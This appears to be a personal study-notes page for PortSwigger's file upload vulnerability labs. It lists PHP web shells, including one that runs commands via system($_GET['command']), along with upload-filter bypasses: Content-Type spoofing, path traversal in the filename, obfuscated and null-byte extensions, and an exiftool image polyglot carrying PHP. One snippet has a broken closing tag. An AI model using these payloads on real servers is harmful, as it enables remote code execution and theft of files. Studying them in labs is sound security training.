> For the complete documentation index, see [llms.txt](https://singha-notes.gitbook.io/web-security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://singha-notes.gitbook.io/web-security-notes/portswigger/file-upload-vulnerabilities/notes.md).

# notes

```php
<?php echo file_get_contents('/path/to/target/file'); ?> // read files from server's filesystem
```

```php
<?php echo system($_GET['command']); ?>
```

-execute this command by `GET /example/exploit.php?command=id HTTP/1.1`

## 1. Remote code execution via web shell upload

```php
<?php echo file_get_contents('home/carlos/secret'); >
```

`GET /files/avatars/exploit.php`

## 2. Content-Type restriction bypass

* change `Content-Type: image/png` in POST request

## 3. Web shell upload via path traversal

* change the file upload path (one directory above) by `Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php`

## 4. Web shell upload via obfuscated file extension

* exploit.pHp
* exploit.php.jpg
* exploit%2ephp
* exploit.php%00.jpg
* exploit.asp;.jpg , exploit.asp%00.jpg
*

## 5. Web shell with polygoat

```bash
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" your_image.png -o polygoat.php
```